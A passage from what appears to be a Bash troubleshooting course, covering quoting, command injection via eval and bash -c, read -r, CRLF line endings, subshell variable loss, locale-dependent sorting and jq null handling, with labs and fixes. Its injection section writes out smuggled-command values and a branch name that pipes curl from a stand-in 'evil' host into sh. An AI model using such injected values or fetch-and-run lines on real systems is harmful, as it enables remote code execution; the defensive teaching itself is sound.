exec kubectl "$@"  # forward as-is
args=(run --rm -e "MSG=$msg")  # build the command dynamically: use an array, not a string
[[ -n $port ]] && args+=(-p "$port:80")
docker "${args[@]}" "$image"
Prevention
  • "Commands in arrays, data in strings"; to log commands, use printf '%q ' "${args[@]}".
  • Passed to a remote shell (ssh host "…") it is parsed again, so use printf %q escaping (#11).
Minimal reproduction ~/bashlab/lab8/pb10-star-at.sh
show(){ printf '<%s>' "$@"; echo; }
w1(){ show $*; }; w2(){ show "$*"; }; w3(){ show "$@"; }
w1 "a b" c; w2 "a b" c; w3 "a b" c

See Lesson 2 Module 3: Arrays,Lesson 3 Module 1: Function arguments.

#11 bash -c "… $host" / eval concatenation ran an injected command (command injection)
$ host="web1; touch /tmp/pwned"
$ bash -c "echo ping $host"; ls /tmp/pwned
ping web1
/tmp/pwned  # the injected command was executed
$ bash -c 'echo ping "$1"' _ "$host"; ls /tmp/pwned2
ping web1; touch /tmp/pwned2
ls: /tmp/pwned2: No such file or directory  # passed as data: safe

Symptom: Hostnames, branch names, ticket titles and HTTP parameters concatenated into eval,bash -c,ssh host "…",su -c,sudo sh -c,find -exec sh -c '… {} …', so an attacker (or a branch name feat/$(curl evil|sh)) can run arbitrary commands; in CI, injection via PR titles and branch names is especially serious.

Root cause: When data is concatenated into code that the shell parses, ;,$( ), backticks,|, newlines all become syntax; eval,bash -c "…", and the remote side ssh host "cmd $x" works the same way.

Diagnostic command
grep -nE 'eval |bash -c "|sh -c "|ssh [^ ]+ ".*\$' *.sh  # audit concatenated execution
printf '%q\n' "$host"  # see the escaped, safe form
web1\;\ rm\ -rf\ /
Fix
bash -c 'echo ping "$1"' _ "$host"  # code is fixed; data is passed as an argument
find . -name '*.log' -exec sh -c 'gzip -- "$1"' _ {} \;  # never put {} into the code string
ssh "$h" "systemctl restart $(printf '%q' "$svc")"  # the remote side parses again: escape with %q
[[ $host =~ ^[a-z0-9.-]+$ ]] || { echo "bad host" >&2; exit 2; }  # validate against a whitelist first
Prevention
  • Disable by default eval; for indirect references use nameref (declare -n) or associative arrays.
  • Validate the format of external inputs (arguments, environment variables, files, API responses, Git metadata) first.
  • In CI, do not inline ${{ github.event.pull_request.title }} such as run:, first put it in an environment variable and then use "$TITLE" (GitHub security hardening docs).
Minimal reproduction ~/bashlab/lab8/pb11-injection.sh
host='web1; echo INJECTED'
eval "echo hello $host"  # prints INJECTED
bash -c 'echo hello "$1"' _ "$host"  # fix: outputs the whole string as-is

See Lesson 4 Module 7 Security: injection, eval, globbing and untrusted input.

#12 read turns C:\temp\new into C:tempnew and strips leading and trailing whitespace (read without -r / IFS)
$ printf '%s\n' 'C:\temp\new' | { read p; echo "noraw=[$p]"; }
noraw=[C:tempnew]
$ printf '%s\n' 'C:\temp\new' | { read -r p; echo "raw=[$p]"; }
raw=[C:\temp\new]
$ printf '  path with  spaces  \n' | { read -r v; printf '[%s]\n' "$v"; }
[path with  spaces]

Symptom: Reading Windows paths, regexes, JSON or passwords loses backslashes; YAML, Makefiles and Python lose indentation; a trailing backslash joins the line with the next one.

Root cause: Without -r -r, the read read builtin treats backslashes as escapes (including line continuation); the default IFS contains whitespace, so read read strips leading and trailing whitespace. To read lines verbatim, use IFS= read -r line.

Diagnostic command
l8_show input.txt | head  # see the raw characters
shellcheck r.sh  # SC2162: read without -r will mangle backslashes.
Fix
while IFS= read -r line; do printf '%s\n' "$line"; done < input.txt
IFS=, read -r name env region ip role <<< "$csv_line"  # set IFS only when splitting fields on a delimiter
Prevention
  • read Always pass -r, and for line-by-line reading always use IFS= read -r, and handle a final line that lacks a trailing newline (#14).
  • For CSV with quotes or embedded commas, don't use IFS=,, use mlr / Python (Lesson 5 Module 7).
Minimal reproduction ~/bashlab/lab8/pb12-read-r.sh
printf '%s\n' 'C:\temp\new' '    indented' > in.txt
while read line; do echo "[$line]"; done < in.txt  # backslashes and indentation are both lost
while IFS= read -r line; do echo "[$line]"; done < in.txt  # fix

See Lesson 2 Module 6: Reading input safely.

Expansion pipeline of rm $f and rm -- "$f": which step causes the problem ① brace expansion{a,b} ② tilde expansion#7 not expanded inside quotes ③ parameter / arithmetic / command substitution#2 #3 #8 #9 ④ word splitting#1 #4 #5 #10 ⑤ pathname expansion#1 #2 #6 ⑥ quote removal"…" disappears ⑦ executionargv[] is fixed rm $f (f="my file.txt")③ → my file.txt ④ → [my] [file.txt] ⑤ → each is matched against files againargv = rm my file.txt rm -- "$f"Inside double quotes: ④ and ⑤ are skipped; -- ends option parsingargv = rm -- "my file.txt" Three guards: double quotes (block ④ and ⑤) · "${var:?}" (blocks ③ from producing an empty value) · -- (stops names like -rf being taken as options in ⑦)Add one more: separate code from data: bash -c '… "$1"' _ "$data", build commands with arrays, printf %q — blocks #11 injectionActual order: parameter, arithmetic and command substitutions in ①②③ run left to right at the same time; process substitution is at the same level (Bash manual, Shell Expansions)
Figure 1-1 Expansion pipeline: every problem in this module can be located at one of these steps
Five ways to write the same variable $vsplit + globempty value → the argument disappears#1 #4 #5 "$v"exactly one argumentempty value → an empty argumentdefault form "${v:?msg}"empty/unset → exitrequired for dangerous paths#2 "${v:-def}"empty/unset → default valueused with set -u#3 "${arr[@]}"one argument per elementput the command in an array#10
Figure 1-2 Order of choices: first ask “can it be empty?”, then ask “one argument or many?”

Expansion pipeline simulator for a one-line command

Choose a case, click “Run”, and see at which expansion step the command is transformed or fails, and what the terminal shows. The output for each case comes from actual runs of this lesson (Bash 5.3.20 / 5.2.21).

$ Waiting to run…
Environment Any Bash 5.x; already executed source ~/bashlab/lab8/lab8.sh && l8_sandbox. All files are in ~/bashlab/lab8/sandbox, and at the end l8_clean.

Lab 1-A: word splitting deletes the wrong file (#1, #5)

l8_sandbox
touch "my file.txt" my keep.txt
f="my file.txt"; set -x; rm $f; set +x; ls -1
+ rm my file.txt
rm: cannot remove 'file.txt': No such file or directory
+ set +x
keep.txt
my file.txt

The innocent my was deleted, while the target file is still there.

Fix and confirm with ShellCheck:
rm -- "$f"; ls -1
printf 'f=$1\nrm $f\n' > ../pb01-check.sh && shellcheck ../pb01-check.sh | grep -o 'SC[0-9]*'
keep.txt
SC2086

Lab 1-B: empty-variable guard (#2, #3)

BUILD_DIR=""
echo rm -rf "$BUILD_DIR/"* | cut -c1-60  # preview only
( rm -rf -- "${BUILD_DIR:?BUILD_DIR must be set}/"* ); echo "exit=$?"
rm -rf /bin /boot /dev /etc /home /lib /lib64 /lost+found
bash: BUILD_DIR: BUILD_DIR must be set
exit=1

In an interactive shell :? a failure only terminates the current command, so wrap it in a subshell ( ) to observe the exit code; in a script it terminates the entire script.

bash -c 'set -u; echo "deploy to $1"'; echo "exit=$?"
bash -c 'set -u; echo "deploy to ${1:-staging}"'
bash: line 1: $1: unbound variable
exit=127
deploy to staging

Lab 1-C: octal and injection (#8, #11)

for h in 07 08 09; do echo "$h+1=$(( 10#$h + 1 ))"; done; echo $(( 09 + 1 ))
07+1=8
08+1=9
09+1=10
bash: 09: value too great for base (error token is "09")
host='web1; echo INJECTED'
eval "echo hello $host"
bash -c 'echo hello "$1"' _ "$host"
hello web1
INJECTED
hello web1; echo INJECTED
Cleanup:
l8_clean; rm -f ~/bashlab/lab8/pb01-check.sh

Instructional video (title and channel verified via YouTube oEmbed)

bash quoting is really not that difficult! (beginner - intermediate) anthony explains #426 — anthonywritescode
English · quoting rules (#1, #4, #10)
#14 The Bash Rule That Deletes the Wrong Files (Word Splitting) - Introduction to Linux Command Line — Tech with Hazem
English · word splitting deletes the wrong file (#1, #5)
Prevent Unset Variables in Your Shell / Bash Scripts with set -o nounset — Nick Janetakis
English · nounset (#3)
test vs [ vs [[: Bash Conditionals Explained! You Suck at Programming #066 — You Suck at Programming
English · [ and [[ (#4)

No verified video was found that covers empty-variable guards + rm -rf guards, octal traps and command injection. Below is a 3-minute storyboard you can record yourself:

Shot 1 (0:00) In the sandbox touch "my file.txt" my,set -x; rm $f, zoom in on + rm my file.txt: the innocent file is deleted.
Shot 2 (0:40) BUILD_DIR=""; echo rm -rf "$BUILD_DIR/"* Prints the whole root directory; after changing it to ${BUILD_DIR:?} the script exits immediately.
Shot 3 (1:30) The 9 a.m. scheduled job fails: $(( $(date +%H) + 1 )) reports value too great for base; add 10# fix.
Shot 4 (2:15) eval "echo $host" An injected command was executed; change it to bash -c '…"$1"' _ "$host", using printf %q to show the safe form.

Official docs

or score ≥ 70% on the quiz

Module 2 · Part A: Control flow, input and text processing (problems 13–25)

08:00 – 16:00 · CRLF,read return values of , pipes and subshells, shared stdin, string vs integer comparison,$?, here-doc, locale,grep exit codes of ,xargs, GNU vs BSD sed,jq
8 minutesInput → loops → text tools13 problems
Learning goals
  • Explain three “invisible” input problems: line endings \r, a last line missing \n, and loop-body commands reading the loop's stdin, and reveal them with cat -A / od -c .
  • Draw cmd | while read … 's process structure, explain why variables changed inside a loop “disappear” outside it, and the three fixes (process substitution,lastpipe, or move the subsequent processing into the same subshell).
  • Know sort,grep [a-z],printf %f,sort -n,${x,,} is locale-sensitive, use LC_ALL=C to pin the behavior; know grep,diff,cmp 's exit code 1 does not mean an error.

Enter a keyword from the error or symptom (e.g. \r,last line,subshell,ssh,integer,here-document,locale,xargs,null) to filter; click a row to jump to the details.

#13 $'\r': command not found / cd: $'/tmp\r': No such file or directory (CRLF line endings)
$ bash crlf.sh
crlf.sh: line 2: $'\r': command not found
start
crlf.sh: line 4: cd: $'/tmp\r': No such file or directory
$ ./crlf.sh  # run directly: the kernel cannot find the interpreter "/bin/bash\r"
bash: ./crlf.sh: cannot execute: required file not found
$ ./crlf2.sh  # when the first line is #!/usr/bin/env bash
/usr/bin/env: ‘bash\r’: No such file or directory
/usr/bin/env: use -[v]S to pass options in shebang lines
$ bash crlf3.sh  # every line of if … fi carries \r
crlf3.sh: line 4: syntax error: unexpected end of file from `if' command on line 1
$ ./crlf2.sh  # message from Bash 5.3.20 (musl) for the same case
./crlf2.sh: /bin/bash^M: bad interpreter: No such file or directory

Symptom: Editing on Windows, copying from email or a wiki,core.autocrlf=true checking out scripts: blank lines report $'\r': command not found; paths, hostnames and passwords carry a trailing \r (cd fail,curl URLs are invalid, SSH passwords always wrong); then/do after the \r causes syntax errors. Git for Windows' Bash ignores \r, so it runs locally.

Root cause: Bash only recognizes \n as the line end,\r becomes part of a word ($'\r' is its ANSI-C quoting form). In Bash 5.2, execve returns ENOENT while the script exists, it reports cannot execute: required file not found (i.e. bad interpreter), and the wording varies by version and platform.

Diagnostic command
file deploy.sh
grep -c $'\r' deploy.sh  # number of lines containing \r
head -2 deploy.sh | cat -A  # line ends show ^M$
git ls-files --eol deploy.sh  # i/crlf w/crlf: line endings in the repo and in the working tree
crlf.sh: Bourne-Again shell script, ASCII text executable, with CRLF line terminators
Fix
sed -i 's/\r$//' deploy.sh  # or dos2unix deploy.sh
printf '*.sh text eol=lf\n' >> .gitattributes && git add --renormalize . && git commit -m "normalize line endings"
IFS= read -r line; line=${line%$'\r'}  # strip \r when reading data that may come from Windows
Prevention
  • .gitattributes Pin *.sh text eol=lf (not relying on core.autocrlf),.editorconfig set end_of_line = lf.
  • ShellCheck reports SC1017 (Literal carriage return); or add to CI ! grep -rlI $'\r' --include='*.sh' ..
  • Always strip external data (CSV, host lists) \r.
Minimal reproduction ~/bashlab/lab8/pb13-crlf.sh
cd ~/bashlab/lab8/sandbox || exit 1
printf '#!/bin/bash\r\n\r\necho start\r\ncd /tmp\r\n' > crlf.sh && chmod +x crlf.sh
bash crlf.sh; ./crlf.sh; file crlf.sh
sed -i 's/\r$//' crlf.sh && ./crlf.sh  # after the fix: start

See Lesson 1 Module 1: shebang,Linux Lesson 9 problem #2,Git 8 hours (line endings).

#14 while read loop skips the last line (the file has no trailing newline)
$ printf 'a\nb\nc' > nolf.txt  # 3 lines; the last line has no \n
$ n=0; while read -r l; do n=$((n+1)); done < nolf.txt; echo "n=$n"
n=2

Symptom: The last host in a list, the last item in a config or the last CSV row goes missing; most often from Windows editors,echo -n, API responses,jq -j or output from wc -l also lose a line.

Root cause:read On EOF without a trailing newline, read still assigns the value but returns non-zero,while so the loop body never handles that line and the loop ends.

Diagnostic command
tail -c1 hosts.txt | od -c  # the last byte is not \n
wc -l hosts.txt; grep -c '' hosts.txt  # if the two counts differ, the last line has no newline
Fix
while IFS= read -r l || [[ -n $l ]]; do
  echo "host: $l"
done < hosts.txt
mapfile -t hosts < hosts.txt  # mapfile keeps the last line (Bash 4+)
Prevention
  • Templates: while IFS= read -r line || [[ -n $line ]].
  • Generate text files ending with \n a newline (as defined for POSIX text files); .editorconfig set insert_final_newline = true.
Minimal reproduction ~/bashlab/lab8/pb14-lastline.sh
printf 'web1\nweb2\nweb3' > /tmp/hosts.$$
while IFS= read -r h; do echo "A: $h"; done < /tmp/hosts.$$  # web3 is missing
while IFS= read -r h || [[ -n $h ]]; do echo "B: $h"; done < /tmp/hosts.$$  # fix
rm -f /tmp/hosts.$$

See Lesson 2 Module 6: Reading input safely.

#15 a counter incremented in a while loop after a pipe is back to 0 after the loop ends (subshell loses variables)
$ c=0; printf '1\n2\n3\n' | while read -r x; do c=$((c+x)); done; echo "c=$c"
c=0

Symptom: Counting error lines or collecting failed hosts always gives 0 or an empty list; inside the loop, exit 1 exit only leaves the loop.

Root cause: In Bash every pipeline segment (including the last, by default) runs in a forked subshell, so variable changes are lost; exit exit only ends the subprocess. ksh and zsh run the last segment in the current shell, so scripts ported from them break.

Diagnostic command
echo "main BASHPID=$BASHPID"; printf 'x\n' | while read -r _; do echo "loop BASHPID=$BASHPID"; done
shopt lastpipe
Fix
while IFS= read -r x; do c=$((c+x)); done < <(printf '1\n2\n3\n')  # process substitution: the loop runs in the current shell
shopt -s lastpipe  # works in non-interactive scripts (when job control is off)
printf '1\n2\n3\n' | while read -r x; do c=$((c+x)); done
mapfile -t lines < <(cmd)  # read into an array first, then process
c=3
c=3
Prevention
  • If you need the result after the loop, write done < <(cmd); the exit code of process substitution set -e cannot be caught; when necessary, wait $! (Bash 4.4+).
  • i.e. BashFAQ/024; the Lesson 2 animation shows the process structure.
Minimal reproduction ~/bashlab/lab8/pb15-subshell.sh
c=0; printf '1\n2\n3\n' | while read -r x; do c=$((c+x)); done; echo "pipe: c=$c"
c=0; while read -r x; do c=$((c+x)); done < <(printf '1\n2\n3\n'); echo "procsub: c=$c"

See Lesson 1 Module 7: Subshells,Lesson 2 Module 7: Process substitution.

#16 looping over a host list to run ssh processes only the first host (loop body swallows stdin)
$ printf 'h1\nh2\nh3\n' > hosts
$ while read -r h; do echo "host=$h"; cat >/dev/null; done < hosts
host=h1

Symptom:while read host; do ssh "$host" uptime; done < hosts It silently ends after the first host. The same input swallowing happens with: ssh,ffmpeg,docker exec -i,kubectl exec -i,mysql,read prompts, some az/aws interactive commands.

Root cause:< hosts is the entire while stdin of the loop, and the loop body inherits it; ssh forwarding stdin to the remote side consumes the rest of the list, so the next read read hits EOF.

Diagnostic command
bash -x loop.sh 2>&1 | grep -c '^+ ssh'  # actually called only once
ls -l /proc/$$/fd/0  # inside the loop, stdin points to the host file
Fix
while IFS= read -r h; do ssh -n "$h" uptime; done < hosts  # ssh -n: stdin comes from /dev/null
while IFS= read -r h; do cmd "$h" < /dev/null; done < hosts  # general: give the loop body its own stdin
while IFS= read -r -u 3 h; do ssh "$h" uptime; done 3< hosts  # read the list from fd 3; leave stdin for interaction
Prevention
  • Use read -u 3 … 3< file, or parallel / xargs -P / Ansible (Lesson 6 Module 3).
  • ShellCheck reports SC2095 for this (while read inside a ssh).
Minimal reproduction ~/bashlab/lab8/pb16-stdin.sh
printf 'h1\nh2\nh3\n' > /tmp/hosts.$$
while read -r h; do echo "A $h"; cat >/dev/null; done < /tmp/hosts.$$  # only h1
while read -r -u 3 h; do echo "B $h"; cat >/dev/null </dev/null; done 3< /tmp/hosts.$$
rm -f /tmp/hosts.$$

See Lesson 1 Module 5: Redirection and file descriptors,Lesson 6 Module 3: Batch operations.

#17 [[ "10" < "9" ]] is true / [: abc: integer expected (mixing string and integer comparison)
$ [[ "10" < "9" ]] && echo "string compare: 10<9 true"
string compare: 10<9 true
$ a=abc; [ "$a" -gt 3 ]
bash: line 1: [: abc: integer expected
$ a=abc; (( a > 3 )) && echo yes || echo no
no

Symptom:[[ $usage > 90 ]] No alert at 100% ("100" sorts lexically before "90"); [[ 1.10 > 1.9 ]] mis-judged; a non-numeric value makes -gt error,(( )) yet it is treated as a variable name and evaluates to 0.

Root cause:[[ ]] in < > is a locale-based string comparison; for numbers, use -lt -gt or (( )); (( )) and [[ -gt ]] evaluate arithmetic: abc are treated as variable names (unset gives 0), and are also an untrusted-input risk (#8).

Diagnostic command
declare -p usage; [[ $usage =~ ^[0-9]+$ ]] && echo numeric
Fix
usage=$(df --output=pcent / | tail -1 | tr -dc '0-9')
[[ $usage =~ ^[0-9]+$ ]] || { echo "bad value: $usage" >&2; exit 1; }
if (( usage >= 90 )); then echo "ALERT: / at ${usage}%"; fi
printf '%s\n' 1.9 1.10 | sort -V | tail -1  # compare versions with sort -V (GNU)
Prevention
  • For numbers, use (( )), and for strings use [[ == ]]; validate first.
  • For floating-point comparisons, use awk: awk -v a="$x" -v b="$y" 'BEGIN{exit !(a>b)}' (mind the locale, #21).
Minimal reproduction ~/bashlab/lab8/pb17-compare.sh
usage=100
[[ $usage > 90 ]] && echo "string: alert" || echo "string: NO alert (bug)"
(( usage > 90 )) && echo "arith: alert"

See Lesson 2 Module 4: Conditionals,Lesson 2 Module 2: Arithmetic.

#18 “fail rc=0”: the $? printed in the error handler is always 0 ($? gets overwritten)
$ false; if [ $? -ne 0 ]; then echo "fail rc=$?"; fi
fail rc=0

Symptom: The failure code only records 0/1, so it cannot tell a timeout (124), a kill (137) or a usage error (2) apart; or cmd; log "..."; if [ $? -ne 0 ] it checks log, and a failure is treated as success.

Root cause:$? is the exit code of the most recent command; [ is also a command: entering then the $? is already [ 0; anything in between echo,log,local overwrites it.

Diagnostic command
shellcheck x.sh  # SC2181: Check exit code directly with e.g. 'if ! mycmd;', not indirectly with $?.
Fix
if ! curl -fsS "$url" -o out.json; then echo "download failed" >&2; exit 1; fi  # test the command directly
timeout 30 curl -fsS "$url"; rc=$?  # need the exact exit code: save it immediately
case $rc in 0) ;; 124) log::error "timeout";; *) log::error "curl rc=$rc";; esac
cmd || rc=$?  # save the exit code under set -e without exiting
Prevention
  • Either if cmd, or immediately follow it with rc=$?.
  • Exit codes of each pipeline segment are in PIPESTATUS; copy them immediately: ps=("${PIPESTATUS[@]}").
Minimal reproduction ~/bashlab/lab8/pb18-status.sh
sh -c 'exit 3'; if [ $? -ne 0 ]; then echo "bug: rc=$?"; fi
sh -c 'exit 3'; rc=$?; if (( rc != 0 )); then echo "fixed: rc=$rc"; fi

See Lesson 1 Module 6: Pipes, exit status and && / ||.

#19 warning: here-document at line 1 delimited by end-of-file (wanted `EOF') (indented terminator)
$ cat hd.sh
cat <<EOF
  hi
  EOF
echo done
$ bash hd.sh
hd.sh: line 4: warning: here-document at line 1 delimited by end-of-file (wanted `EOF')
  hi
  EOF
echo done  # the following script became here-doc content and never ran!

Symptom: the here-doc terminator is indented or has trailing spaces / \r: Bash only warns (exit code 0), the rest of the script becomes text mixed into nginx/systemd config, and later steps are silently skipped.

Root cause: the terminator must be alone on its line and match exactly; <<- only leading tabs are stripped (converting them to spaces breaks it). Also, an unquoted <<EOF will expand the body's $var,$(cmd), and backticks, so generating scripts or templates may run commands by mistake.

Diagnostic command
bash -n gen.sh  # the syntax check also gives a warning
grep -n 'EOF' gen.sh | cat -A  # check whether the terminator line has spaces, ^I or ^M
Fix
cat > app.conf <<'EOF'  # quoted: body is not expanded (use when generating scripts or templates)
listen ${PORT}
EOF
cat <<-EOF  # when indenting: the leading characters must be tabs
	host=$HOST
	EOF
Prevention
  • Make CI treat bash -n stderr of as a failure (bash -n x.sh 2>&1 | grep -q warning && exit 1); ShellCheck reports SC1039 / SC1040 and similar for this.
  • For large configs, use a template + envsubst and list the replaceable variables: envsubst '${PORT} ${HOST}'.
Minimal reproduction ~/bashlab/lab8/pb19-heredoc.sh
printf 'cat <<EOF\n  hi\n  EOF\necho done\n' > /tmp/hd.$$
bash /tmp/hd.$$; echo "exit=$?"  # warning, exit=0, done was not executed
rm -f /tmp/hd.$$

See Lesson 2 Module 7: Here documents, here strings and process substitution.

#20 the same sort gives different results on a laptop and a server; comm / join report not in sorted order (locale collation rules)
$ LC_ALL=C sort s.txt | tr '\n' '|'
-y|A|B|_x|a|a b|ab|b|
$ LC_ALL=en_US.UTF-8 sort s.txt | tr '\n' '|'
a|A|a b|ab|b|B|_x|-y|
$ printf 'B\nb\n' | LC_ALL=en_US.UTF-8 grep '^[a-z]$'
b

Symptom: The set difference differs between the dev machine (en_US.UTF-8) and cron / containers (C or C.UTF-8, #39). Results differ; sorting with a mismatched comm/join locale produces wrong intersections and reports comm: file 1 is not in sorted order (wording may differ); sort | uniq counts disagree; in old glibc locales, [a-z] matches uppercase.

Root cause:sort,comm,join,uniq,[[ < ]], wildcards and regex character ranges use LC_COLLATE: C byte order (uppercase first, punctuation by ASCII),en_US.UTF-8 language rules (ignoring case and some punctuation in the first pass), which vary with the glibc version. uniq It only merges adjacent lines, so sort first.

Diagnostic command
locale; env | grep -E '^(LANG|LC_)'  # print once in an interactive shell and once in cron/CI
sort --debug -k1,1 s.txt | head  # GNU sort shows the locale and comparison keys actually used
Fix
export LC_ALL=C  # at the top of the script, when a reproducible byte order is needed
LC_ALL=C sort -u a.txt > a.sorted; LC_ALL=C sort -u b.txt > b.sorted
LC_ALL=C comm -23 a.sorted b.sorted  # sorting and comparison must use the same locale
[[ $c == [[:lower:]] ]]  # use a character class instead of [a-z]
Prevention
  • For machine data (hostnames, IDs, logs), fix the locale at the start LC_ALL=C (faster); use the user's locale only for display to people.
  • For UTF-8 character semantics (${#s} counts by character), use LC_ALL=C.UTF-8, and sort by code point.
  • Ubuntu 26.04's sort comes from rust-coreutils; follow the actual output. Across distributions, fix the locale first.
Minimal reproduction ~/bashlab/lab8/pb20-locale-sort.sh
printf 'b\nB\na\nA\n_x\n-y\n' > /tmp/s.$$
for l in C C.UTF-8 en_US.UTF-8; do printf '%-12s' "$l"; LC_ALL=$l sort /tmp/s.$$ 2>/dev/null | tr '\n' ' '; echo; done
rm -f /tmp/s.$$  # if en_US.UTF-8 has not been generated, this line falls back to C results

See Lesson 5 Module 5: Sorting and set operations.

#21 bash: printf: 3.14159: invalid number / sort -n puts 1.5 after 10 (decimal point and locale)
$ LC_ALL=de_DE.UTF-8 bash -c 'printf "%.2f\n" 3.14159'
bash: line 1: printf: 3.14159: invalid number
3,00
$ printf '1.5\n10\n2\n1,7\n' | LC_ALL=de_DE.UTF-8 sort -n | tr '\n' ' '
1,7 2 10 1.5
$ echo "3.5 1.5" | LC_ALL=de_DE.UTF-8 awk '{printf "%.1f\n", $1+$2}'
4,0
$ echo TITLE | LC_ALL=tr_TR.UTF-8 bash -c 'read -r x; echo "${x,,}"'
tıtle

Symptom: On colleagues' computers in Germany, France and Brazil, or on some CI runners: printf formatting amounts or latencies errors out and prints 3,00; sort -n treats 1.5 as 15 (. is the thousands separator); awk output 4,0 makes JSON invalid; in Turkish, I lowercases to ı,"TITLE" == "title" fails.

Root cause: LC_NUMERIC sets the decimal point and thousands separator: the builtin printf parsing, floating-point output and GNU sort -n number recognition all depend on it; gawk parses input as C,printf and uses the locale decimal point (this differs by awk; follow the actual output). LC_CTYPE controls case conversion.

Diagnostic command
locale -k decimal_point thousands_sep
LC_ALL=C printf '%.2f\n' 3.14159
Fix
LC_ALL=C printf '%.2f\n' "$val"  # pin C for machine-format numbers
LC_ALL=C sort -n -k2,2 latency.txt
LC_ALL=C awk '{s+=$2} END{printf "%.2f\n", s}' data.txt
shopt -s nocasematch; [[ $x == title ]]  # for case-insensitive comparison, do not rely on ${x,,} (or pin LC_ALL=C)
Prevention
  • Generate program-readable numbers (JSON, CSV, metrics) under LC_ALL=C ; set it on CI jobs LC_ALL=C.UTF-8.
  • Bash only does integers; for floating point, hand off awk/bc/jq, and pin the locale.
Minimal reproduction ~/bashlab/lab8/pb21-locale-num.sh
LC_ALL=de_DE.UTF-8 printf '%.2f\n' 3.14159  # requires the de_DE.UTF-8 locale to be generated
LC_ALL=C          printf '%.2f\n' 3.14159
printf '1.5\n10\n2\n' | LC_ALL=de_DE.UTF-8 sort -n | tr '\n' ' '; echo

Without the de_DE locale: sudo locale-gen de_DE.UTF-8 (Debian/Ubuntu), or in debian containers, install locales. See Lesson 5 Module 3: awk.

#22 the script silently exits at grep, exit code 1 (grep no match + set -e)
$ cat g.sh
set -e
n=$(grep -c ERROR /dev/null)
echo "errors=$n"
$ bash g.sh; echo "rc=$?"
rc=1  # no output at all: no errors=0, and no error message either

Symptom:“No errors today” checks fail instead, CI turns red, cron sends blank failure emails, but grep -c output 0. Similar cases: diff (returns 1 when there are differences),cmp,test,expr (result 0 returns 1),let / (( )) (#30).

Root cause:grep: 0 = match, 1 = no match, 2 = error. set -e does not distinguish the two; n=$(…) the exit code of the command substitution decides, so it exits.

Diagnostic command
bash -x g.sh 2>&1 | tail -2  # the last command is grep
grep -c ERROR /dev/null; echo "rc=$?"  # 0 and rc=1
Fix
n=$(grep -c ERROR app.log || true)  # allow "no match"
if grep -q ERROR app.log; then alert; fi  # use inside if: unaffected by set -e
grep ERROR app.log || [[ $? -eq 1 ]]  # only lets 1 pass; 2 (file not found, etc.) still fails
Prevention
  • Explicitly handle exit code 1 where it has business meaning (grep, diff, cmp); do not rely on set -e.
  • || true This also swallows real errors (2); see the third line for the exact form.
Minimal reproduction ~/bashlab/lab8/pb22-grep-e.sh
#!/usr/bin/env bash
set -e
n=$(grep -c ERROR /dev/null)  # the script silently exits here
echo "errors=$n"  # fix: n=$(grep -c ERROR /dev/null || true)

See Lesson 4 Module 1: Strict mode,Lesson 5 Module 1: grep.

#23 xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
$ printf "it's.log\n" | xargs echo
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
$ find fx -name '*.log' | xargs ls
ls: cannot access 'fx/a': No such file or directory  # file "fx/a b.log" is split into two arguments
ls: cannot access 'b.log': No such file or directory

Symptom: Batch compression, deletion or upload of files containing apostrophes (O'Brien.pdf), spaces or newlines fails or is mishandled; a malicious filename with a newline can make find … | xargs rm delete unintended paths.

Root cause:xargs By default xargs splits on whitespace and interprets quotes and backslashes; filenames can contain any byte except / and NUL, so only NUL is safe.

Diagnostic command
find . -name '*.log' | cat -A | head  # check for spaces, quotes, newlines
find . -name $'*\n*'  # find files whose names contain a newline
Fix
find . -name '*.log' -print0 | xargs -0 -r gzip --
find . -name '*.log' -exec gzip -- {} +  # simpler: let find batch the work itself
find . -name '*.log' -print0 | xargs -0 -r -n 50 -P 4 gzip --  # parallel (Lesson 6)
Prevention
  • xargs Always set -0 (-r: does nothing with no input, a GNU extension; BSD does this by default).
  • Other commands that take filenames also use NUL: grep -lZ,git ls-files -z,sort -z.
Minimal reproduction ~/bashlab/lab8/pb23-xargs.sh
cd ~/bashlab/lab8/sandbox || exit 1
touch "it's.log" "a b.log"
find . -name '*.log' | xargs ls  # reports unmatched single quote
find . -name '*.log' -print0 | xargs -0 ls -- # fix

See Lesson 5 Module 4: find, xargs and safe filename handling.

#24 sed: can't read s/a/b/: No such file or directory (GNU and BSD sed -i are incompatible)
$ sed -i '' 's/a/b/' s.txt  # macOS syntax on GNU sed
sed: can't read s/a/b/: No such file or directory
$ sed -i 's/a/b/' s.txt
sed: 1: "s.txt": unterminated substitute pattern

Symptom: An in-place replacement written on macOS fails in Linux CI (GNU treats '' as a script and the real script as a filename), and vice versa; BSD sed also treats -i after it as a backup suffix (creating s.txts/a/b/ and the like); GNU extensions \+,\s,\|,I flags are invalid on BSD.

Root cause: GNU sed -i[SUFFIX] The suffix is optional and must be attached; BSD sed -i SUFFIX requires a separate suffix argument (which may be empty). Neither is POSIX (POSIX sed has no -i).

Diagnostic command
sed --version 2>/dev/null | head -1 || echo "BSD sed"
uname -s
Fix
sed -i.bak 's/a/b/' s.txt && rm -f s.txt.bak  # attached suffix: accepted by both GNU and BSD
tmp=$(mktemp) && sed 's/a/b/' s.txt > "$tmp" && cat "$tmp" > s.txt && rm -f "$tmp"  # fully portable; keeps the original file's inode and permissions
# macOS: brew install gnu-sed, then use gsed
Prevention
  • Convention: support GNU only (on macOS, require Homebrew's gsed/gdate, detected at the start) or use only the POSIX subset.
  • Add a macOS runner or BusyBox container to the CI matrix (Lesson 7 Module 6).
Minimal reproduction ~/bashlab/lab8/pb24-sed-i.sh
cd ~/bashlab/lab8/sandbox || exit 1
echo a > s.txt
sed -i '' 's/a/b/' s.txt; echo "rc=$?"  # fails on GNU, succeeds on BSD
sed -i.bak 's/a/b/' s.txt && cat s.txt  # succeeds on both

See Lesson 5 Module 2: sed,Lesson 7 Module 6: Portability.

#25 deployment script treats the string "null" as an IP address (jq -r outputs null)
$ echo '{"name":"web1"}' | jq -r '.ip'
null
$ echo '{"name":"web1"}' | jq -er '.ip'; echo "rc=$?"
null
rc=1
$ echo '{"name":"web1"}' | jq -r '.ip // empty' | wc -l
0

Symptom: Wrong field name (.ipAddress vs .ip), an API revision, or an unassigned IP: the ip=$(jq -r .ip …) becomes the string null, then ssh null,curl http://null/, or null goes into DNS or config; [[ -n $ip ]] passes. Similar: no -f of curl on 404/500 returns 0, so an error page is treated as data.

Root cause: jq returns null for a missing key,-r outputs the string null, with exit code 0; -e (--exit-status) returns 1 when the last output is false/null .

Diagnostic command
jq 'keys' resp.json  # which fields actually exist
jq -e '.ip | type == "string"' resp.json
Fix
